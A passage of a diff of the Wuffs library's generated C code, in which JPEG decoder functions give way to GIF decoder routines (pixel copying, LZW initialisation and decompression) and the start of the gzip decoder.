wuffs_gif__decoder__copy_to_image_buffer(self, a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_lzw_output, ++ self->private_impl.f_lzw_output_ri, ++ self->private_impl.f_lzw_output_wi)); ++ if (wuffs_base__status__is_error(&v_copy_status)) { ++ status = v_copy_status; ++ goto exit; ++ } ++ self->private_impl.f_lzw_output_ri = 0u; ++ self->private_impl.f_lzw_output_wi = 0u; + } +- v_i += 1u; ++ if (self->private_impl.f_lzw_read_from_return_value == 0u) { ++ self->private_impl.f_ignored_but_affects_benchmarks = false; ++ if (v_need_block_size || (v_block_size > 0u)) { ++ self->private_data.s_decode_id_part2.scratch = ((uint32_t)(v_block_size)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (self->private_data.s_decode_id_part2.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_id_part2.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_id_part2.scratch; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_gif__decoder__skip_blocks(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ goto label__outer__break; ++ } else if (self->private_impl.f_lzw_read_from_return_value == 1u) { ++ continue; ++ } else if (self->private_impl.f_lzw_read_from_return_value == 2u) { ++ goto label__outer__continue; ++ } else if (self->private_impl.f_quirks[3u] && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) && (self->private_impl.f_interlace == 0u)) { ++ if (v_need_block_size || (v_block_size > 0u)) { ++ self->private_data.s_decode_id_part2.scratch = ((uint32_t)(v_block_size)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_data.s_decode_id_part2.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_id_part2.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_id_part2.scratch; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ status = wuffs_gif__decoder__skip_blocks(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ goto label__outer__break; ++ } else if (self->private_impl.f_lzw_read_from_return_value == 3u) { ++ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); ++ goto exit; ++ } else if (self->private_impl.f_lzw_read_from_return_value == 4u) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_lzw_code); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); ++ goto exit; + } + } +- self->private_impl.f_components_workbuf_offsets[0u] = 0u; +- self->private_impl.f_components_workbuf_offsets[1u] = (self->private_impl.f_components_workbuf_offsets[0u] + v_wh0); +- self->private_impl.f_components_workbuf_offsets[2u] = (self->private_impl.f_components_workbuf_offsets[1u] + v_wh1); +- self->private_impl.f_components_workbuf_offsets[3u] = (self->private_impl.f_components_workbuf_offsets[2u] + v_wh2); +- self->private_impl.f_components_workbuf_offsets[4u] = (self->private_impl.f_components_workbuf_offsets[3u] + v_wh3); +- self->private_impl.f_components_workbuf_offsets[5u] = (self->private_impl.f_components_workbuf_offsets[4u] + (v_wh0 * v_progressive)); +- self->private_impl.f_components_workbuf_offsets[6u] = (self->private_impl.f_components_workbuf_offsets[5u] + (v_wh1 * v_progressive)); +- self->private_impl.f_components_workbuf_offsets[7u] = (self->private_impl.f_components_workbuf_offsets[6u] + (v_wh2 * v_progressive)); +- self->private_impl.f_components_workbuf_offsets[8u] = (self->private_impl.f_components_workbuf_offsets[7u] + (v_wh3 * v_progressive)); ++ label__outer__break:; ++ self->private_impl.f_compressed_ri = 0u; ++ self->private_impl.f_compressed_wi = 0u; ++ if ((self->private_impl.f_dst_y < self->private_impl.f_frame_rect_y1) && (self->private_impl.f_frame_rect_x0 != self->private_impl.f_frame_rect_x1) && (self->private_impl.f_frame_rect_y0 != self->private_impl.f_frame_rect_y1)) { ++ status = wuffs_base__make_status(wuffs_base__error__not_enough_data); ++ goto exit; ++ } + +- goto ok; + ok: +- self->private_impl.p_decode_sof[0] = 0; ++ self->private_impl.p_decode_id_part2 = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_sof[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_sof[0].v_i = v_i; ++ self->private_impl.p_decode_id_part2 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_id_part2.v_block_size = v_block_size; ++ self->private_data.s_decode_id_part2.v_need_block_size = v_need_block_size; + + goto exit; + exit: +@@ -43322,106 +43364,182 @@ wuffs_jpeg__decoder__decode_sof( + return status; + } + +-// -------- func jpeg.decoder.quantize_dimension ++// -------- func gif.decoder.copy_to_image_buffer + + WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__quantize_dimension( +- const wuffs_jpeg__decoder* self, +- uint32_t a_width, +- uint8_t a_h, +- uint8_t a_max_incl_h) { +- uint32_t v_ratio = 0; ++static wuffs_base__status ++wuffs_gif__decoder__copy_to_image_buffer( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_pb, ++ wuffs_base__slice_u8 a_src) { ++ wuffs_base__slice_u8 v_dst = {0}; ++ wuffs_base__slice_u8 v_src = {0}; ++ uint64_t v_width_in_bytes = 0; ++ uint64_t v_n = 0; ++ uint64_t v_src_ri = 0; ++ wuffs_base__pixel_format v_pixfmt = {0}; ++ uint32_t v_bytes_per_pixel = 0; ++ uint32_t v_bits_per_pixel = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_j = 0; ++ uint32_t v_replicate_y0 = 0; ++ uint32_t v_replicate_y1 = 0; ++ wuffs_base__slice_u8 v_replicate_dst = {0}; ++ wuffs_base__slice_u8 v_replicate_src = {0}; + +- v_ratio = 0u; +- if (a_h > 0u) { +- v_ratio = ((uint32_t)((a_max_incl_h / a_h))); ++ v_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_pb); ++ v_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_pixfmt); ++ if ((v_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } +- if (v_ratio == 1u) { +- return ((a_width + 7u) / 8u); +- } else if (v_ratio == 2u) { +- return ((a_width + 15u) / 16u); +- } else if (v_ratio == 3u) { +- return ((a_width + 23u) / 24u); ++ v_bytes_per_pixel = (v_bits_per_pixel >> 3u); ++ v_width_in_bytes = ((uint64_t)((self->private_impl.f_width * v_bytes_per_pixel))); ++ v_tab = wuffs_base__pixel_buffer__plane(a_pb, 0u); ++ while (v_src_ri < ((uint64_t)(a_src.len))) { ++ v_src = wuffs_base__slice_u8__subslice_i(a_src, v_src_ri); ++ if (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) { ++ if (self->private_impl.f_quirks[3u]) { ++ return wuffs_base__make_status(NULL); ++ } ++ return wuffs_base__make_status(wuffs_base__error__too_much_data); ++ } ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, 0u); ++ } else if (v_width_in_bytes < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_width_in_bytes); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_bytes_per_pixel))); ++ if (v_i < ((uint64_t)(v_dst.len))) { ++ v_j = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * ((uint64_t)(v_bytes_per_pixel))); ++ if ((v_i <= v_j) && (v_j <= ((uint64_t)(v_dst.len)))) { ++ v_dst = wuffs_base__slice_u8__subslice_ij(v_dst, v_i, v_j); ++ } else { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); ++ } ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), v_src); ++ wuffs_private_impl__u64__sat_add_indirect(&v_src_ri, v_n); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u)); ++ } ++ if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { ++ self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; ++ if (self->private_impl.f_interlace == 0u) { ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_y, 1u); ++ continue; ++ } ++ if ((self->private_impl.f_num_decoded_frames_value == 0u) && ! self->private_impl.f_gc_has_transparent_index && (self->private_impl.f_interlace > 1u)) { ++ v_replicate_src = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ v_replicate_y0 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u); ++ v_replicate_y1 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_COUNT[self->private_impl.f_interlace]))); ++ v_replicate_y1 = wuffs_base__u32__min(v_replicate_y1, self->private_impl.f_frame_rect_y1); ++ while (v_replicate_y0 < v_replicate_y1) { ++ v_replicate_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_replicate_y0); ++ wuffs_private_impl__slice_u8__copy_from_slice(v_replicate_dst, v_replicate_src); ++ v_replicate_y0 += 1u; ++ } ++ self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, v_replicate_y1); ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); ++ while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_interlace -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); ++ } ++ continue; ++ } ++ if (((uint64_t)(a_src.len)) == v_src_ri) { ++ break; ++ } else if (((uint64_t)(a_src.len)) < v_src_ri) { ++ return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); ++ } ++ v_n = ((uint64_t)((self->private_impl.f_frame_rect_x1 - self->private_impl.f_dst_x))); ++ v_n = wuffs_base__u64__min(v_n, (((uint64_t)(a_src.len)) - v_src_ri)); ++ wuffs_private_impl__u64__sat_add_indirect(&v_src_ri, v_n); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { ++ self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); ++ while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_interlace -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); ++ } ++ continue; ++ } ++ if (v_src_ri != ((uint64_t)(a_src.len))) { ++ return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); ++ } ++ break; + } +- return ((a_width + 31u) / 32u); ++ return wuffs_base__make_status(NULL); + } + +-// -------- func jpeg.decoder.decode_frame_config ++// -------- func gif.decoder.lzw_init + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__decode_frame_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++static wuffs_base__empty_struct ++wuffs_gif__decoder__lzw_init( ++ wuffs_gif__decoder* self) { ++ uint32_t v_i = 0; + +- ok: +- self->private_impl.p_decode_frame_config[0] = 0; +- goto exit; ++ self->private_impl.f_lzw_literal_width = 8u; ++ if (self->private_impl.f_lzw_pending_literal_width_plus_one > 0u) { ++ self->private_impl.f_lzw_literal_width = (self->private_impl.f_lzw_pending_literal_width_plus_one - 1u); + } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ self->private_impl.f_lzw_clear_code = (((uint32_t)(1u)) << self->private_impl.f_lzw_literal_width); ++ self->private_impl.f_lzw_end_code = (self->private_impl.f_lzw_clear_code + 1u); ++ self->private_impl.f_lzw_save_code = self->private_impl.f_lzw_end_code; ++ self->private_impl.f_lzw_prev_code = self->private_impl.f_lzw_end_code; ++ self->private_impl.f_lzw_width = (self->private_impl.f_lzw_literal_width + 1u); ++ self->private_impl.f_lzw_bits = 0u; ++ self->private_impl.f_lzw_n_bits = 0u; ++ self->private_impl.f_lzw_output_ri = 0u; ++ self->private_impl.f_lzw_output_wi = 0u; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_lzw_clear_code) { ++ self->private_data.f_lzw_lm1s[v_i] = 0u; ++ self->private_data.f_lzw_suffixes[v_i][0u] = ((uint8_t)(v_i)); ++ v_i += 1u; + } +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func jpeg.decoder.do_decode_frame_config ++// -------- func gif.decoder.lzw_read_from + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_frame_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__frame_config* a_dst, ++static wuffs_base__empty_struct ++wuffs_gif__decoder__lzw_read_from( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ uint32_t v_clear_code = 0; ++ uint32_t v_end_code = 0; ++ uint32_t v_save_code = 0; ++ uint32_t v_prev_code = 0; ++ uint32_t v_width = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_output_wi = 0; ++ uint32_t v_code = 0; ++ uint32_t v_c = 0; ++ uint32_t v_o = 0; ++ uint32_t v_steps = 0; ++ uint8_t v_first_byte = 0; ++ uint16_t v_lm1_b = 0; ++ uint16_t v_lm1_a = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -43434,83 +43552,370 @@ wuffs_jpeg__decoder__do_decode_frame_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ v_clear_code = self->private_impl.f_lzw_clear_code; ++ v_end_code = self->private_impl.f_lzw_end_code; ++ v_save_code = self->private_impl.f_lzw_save_code; ++ v_prev_code = self->private_impl.f_lzw_prev_code; ++ v_width = self->private_impl.f_lzw_width; ++ v_bits = self->private_impl.f_lzw_bits; ++ v_n_bits = self->private_impl.f_lzw_n_bits; ++ v_output_wi = self->private_impl.f_lzw_output_wi; ++ while (true) { ++ if (v_n_bits < v_width) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { ++ v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); ++ iop_a_src += ((31u - v_n_bits) >> 3u); ++ v_n_bits |= 24u; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ self->private_impl.f_lzw_read_from_return_value = 3u; ++ } else { ++ self->private_impl.f_lzw_read_from_return_value = 2u; ++ } ++ break; ++ } else { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ if (v_n_bits >= v_width) { ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ self->private_impl.f_lzw_read_from_return_value = 3u; ++ } else { ++ self->private_impl.f_lzw_read_from_return_value = 2u; ++ } ++ break; ++ } else { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ if (v_n_bits < v_width) { ++ self->private_impl.f_lzw_read_from_return_value = 5u; ++ break; ++ } ++ } + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_jpeg__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ v_code = ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_width)); ++ v_bits >>= v_width; ++ v_n_bits -= v_width; ++ if (v_code < v_clear_code) { ++ self->private_data.f_lzw_output[v_output_wi] = ((uint8_t)(v_code)); ++ v_output_wi = ((v_output_wi + 1u) & 8191u); ++ if (v_save_code <= 4095u) { ++ v_lm1_a = ((uint16_t)(((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u)); ++ self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_a; ++ if (((uint16_t)(v_lm1_a % 8u)) != 0u) { ++ self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; ++ memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); ++ self->private_data.f_lzw_suffixes[v_save_code][((uint16_t)(v_lm1_a % 8u))] = ((uint8_t)(v_code)); ++ } else { ++ self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); ++ self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); ++ } ++ v_save_code += 1u; ++ if (v_width < 12u) { ++ v_width += (1u & (v_save_code >> v_width)); ++ } ++ v_prev_code = v_code; + } +- if (status.repr) { +- goto suspend; ++ } else if (v_code <= v_end_code) { ++ if (v_code == v_end_code) { ++ self->private_impl.f_lzw_read_from_return_value = 0u; ++ break; + } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; ++ v_save_code = v_end_code; ++ v_prev_code = v_end_code; ++ v_width = (self->private_impl.f_lzw_literal_width + 1u); ++ } else if (v_code <= v_save_code) { ++ v_c = v_code; ++ if (v_code == v_save_code) { ++ v_c = v_prev_code; ++ } ++ v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) & 4294967288u)) & 8191u); ++ v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lzw_lm1s[v_c]))) & 8191u); ++ v_steps = (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) >> 3u); ++ while (true) { ++ memcpy((self->private_data.f_lzw_output)+(v_o), (self->private_data.f_lzw_suffixes[v_c]), 8u); ++ if (v_steps <= 0u) { ++ break; ++ } ++ v_steps -= 1u; ++ v_o = (((uint32_t)(v_o - 8u)) & 8191u); ++ v_c = ((uint32_t)(self->private_impl.f_lzw_prefixes[v_c])); ++ } ++ v_first_byte = self->private_data.f_lzw_suffixes[v_c][0u]; ++ if (v_code == v_save_code) { ++ self->private_data.f_lzw_output[v_output_wi] = v_first_byte; ++ v_output_wi = ((v_output_wi + 1u) & 8191u); ++ } ++ if (v_save_code <= 4095u) { ++ v_lm1_b = ((uint16_t)(((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u)); ++ self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_b; ++ if (((uint16_t)(v_lm1_b % 8u)) != 0u) { ++ self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; ++ memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); ++ self->private_data.f_lzw_suffixes[v_save_code][((uint16_t)(v_lm1_b % 8u))] = v_first_byte; ++ } else { ++ self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); ++ self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); ++ } ++ v_save_code += 1u; ++ if (v_width < 12u) { ++ v_width += (1u & (v_save_code >> v_width)); ++ } ++ v_prev_code = v_code; + } +- } else if (self->private_impl.f_call_sequence == 64u) { +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; + } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ self->private_impl.f_lzw_read_from_return_value = 4u; ++ break; + } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height), +- ((wuffs_base__flicks)(0u)), +- 0u, +- self->private_impl.f_frame_config_io_position, +- 0u, +- true, +- false, +- 4278190080u); ++ if (v_output_wi > 4095u) { ++ self->private_impl.f_lzw_read_from_return_value = 1u; ++ break; + } +- self->private_impl.f_call_sequence = 64u; +- +- ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; +- goto exit; + } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: ++ if (self->private_impl.f_lzw_read_from_return_value != 2u) { ++ while (v_n_bits >= 8u) { ++ v_n_bits -= 8u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ self->private_impl.f_lzw_read_from_return_value = 5u; ++ break; ++ } ++ } ++ } ++ self->private_impl.f_lzw_save_code = v_save_code; ++ self->private_impl.f_lzw_prev_code = v_prev_code; ++ self->private_impl.f_lzw_width = v_width; ++ self->private_impl.f_lzw_bits = v_bits; ++ self->private_impl.f_lzw_n_bits = v_n_bits; ++ self->private_impl.f_lzw_output_wi = v_output_wi; + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func jpeg.decoder.decode_frame ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_gzip__error__bad_checksum[] = "#gzip: bad checksum"; ++const char wuffs_gzip__error__bad_compression_method[] = "#gzip: bad compression method"; ++const char wuffs_gzip__error__bad_encoding_flags[] = "#gzip: bad encoding flags"; ++const char wuffs_gzip__error__bad_header[] = "#gzip: bad header"; ++const char wuffs_gzip__error__truncated_input[] = "#gzip: truncated input"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__decode_frame( +- wuffs_jpeg__decoder* self, +- wuffs_base__pixel_buffer* a_dst, ++static wuffs_base__status ++wuffs_gzip__decoder__do_transform_io( ++ wuffs_gzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__slice_u8 a_workbuf); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_gzip__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_gzip__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_gzip__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_gzip__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gzip__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_gzip__decoder__initialize( ++ wuffs_gzip__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ { ++ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( ++ &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ 